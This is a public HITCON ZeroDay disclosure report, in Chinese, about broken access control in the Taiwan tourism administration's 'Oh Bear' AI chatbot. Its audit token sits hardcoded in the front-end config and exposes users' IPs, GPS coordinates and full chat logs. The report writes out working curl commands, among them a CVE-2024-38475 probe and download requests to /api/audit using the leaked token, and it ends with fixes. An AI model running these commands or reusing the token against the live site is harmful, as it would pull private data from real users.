交通部觀光署Audit API 對話記錄未授權存取(含使用者IP、GPS定位、完整對話內容) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00291
  •  發信 Vendor: {交通部觀光署}
  • Title: 交通部觀光署Audit API 對話記錄未授權存取(含使用者IP、GPS定位、完整對話內容)
  • Introduction: 該單位AI小幫手的 Audit Token 直接寫死在前端 Nuxt config,拿到 token 就能打 /api/audit 把 114 天所有使用者對話全部載下來,裡面有 IP、GPS 座標、完整聊天內容。

處理狀態

目前狀態

公開
Last Update : 2026/04/28
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/02/12 15:14:10 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/12 15:26:56 : 新提交 (由 鄉民 更新此狀態)
  • 2026/02/23 19:51:51 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:58:38 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:58:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/02/26 18:58:38 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/04/28 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00291
  • 通報者:鄉民
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://qa.taiwan.net.tw/chat/zh-TW

敘述

qa.taiwan.net.tw 上的「喔熊 AI 小幫手」聊天機器人有一個 Audit API,用來記錄所有使用者跟 AI 的對話。這個 API 的認證 token 直接寫在前端
Nuxt.js 的 public config 裡面,任何人都能取得。
拿到 token 之後,打 /api/audit 就能拿到從 2025-10-21 至今
共 114 天的所有對話記錄,資料包含:使用者真實 IP、GPS 座標(精確到小數點 15 位)、完整的問題內容、AI 的回答、甚至 AI 內部的 thinking 推理過程都看得到。

先試打CVE-2024-38475,CVE 本身全部沒打成功
curl -si "https://qa.taiwan.net.tw/chat/api/%3F.env" \
-H "X-Client-Ip: XXX.XXX.XXX" | head -20
但是 %3F.env 那個回來的 200 回應是一整頁 HTML,
裡面最下面有一段 <script>:

<script>
window.NUXT={};
window.NUXT.config={public:{
baseURL:"/chat/",
enableMock:"false",
apiMode:"",
auditToken:"ohbear-audit-2026", ← 這是什麼?
gtag:{enabled:true,id:"G-75KMY41JN1"},
buildId:"6f6a01af-521f-XXX1-a49c-dXXX9c34abfa4",
i18n:{...}

</script>
auditToken 直接明文寫在 config.public

從前端打包過的 JS 原始碼裡面 grep auditToken,
在 CUOyfvJT.js(288KB,Vue runtime + middleware)裡找到
audit 頁面的 middleware 驗證邏輯,確認:

  • 有 /audit 路由,前端 middleware 會比對 token
  • header 名稱是 X-Audit-Token
  • 前端 middleware 擋不了什麼,因為 token 本身就是公開的

curl -s "https://qa.taiwan.net.tw/chat/api/audit" \
-H "X-Audit-Token: ohbear-audit-2026" \
-H "X-Client-Ip: 172.XX.XX.XX"

回傳 Json 114 個日期:["2025-10-21","2025-10-22","2025-10-23",...,"2026-02-11","2026-02-12"]

"https://qa.taiwan.net.tw/chat/api/audit/2026-02-12" \
-H "X-Audit-Token: ohbear-audit-2026" \
-H "X-Client-Ip: 172.XX.XX.XX" \
-o audit_20260212.json

外洩的資料大概如下(已脫敏)
{
"timestamp": "2026-02-12T05:45:59.728Z",
"method": "POST",
"path": "/api/stream?session_id=session-XXXXX-XXXX",
"statusCode": 200,
"duration": 21132,
"clientIp": "XX.XXX.XX.91",
"requestData": {
"message_text": "新竹有哪些台灣好行套票"
},
"proxyDetails": {
"upstreamRequest": {
"url": "https://faninsights.io/index.php/api/motc_claude/qa/stream"
},
"processedEvents": [
{
"event": "thinking",
"data": { "content": [{"type":"thinking_text", ...}] }
},
{
"event": "result",
"data": { "streamId": "stream-...", "sequence": 1, ... }
}
]
}
}

本次外洩整理
使用者真實IP,GPS 座標(精準到小數點第15位),完整查詢,AI回覆,Session_ID,上游真實 API:faninsights.io 的完整 URL 跟 request 格式
以及Google Map API

在回傳檔案中, 每筆記錄的 proxyDetails 裡面有完整的 upstream
https://faninsights.io/index.php/api/motc_claude/qa/stream
https://faninsights.io/index.php/api/motc_claude/get_my_weather

修補建議

馬上把 auditToken 從前端 config.public 移掉
現有 token 立刻作廢
Audit API 改成需要後台登入才能用,加 IP 白名單

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;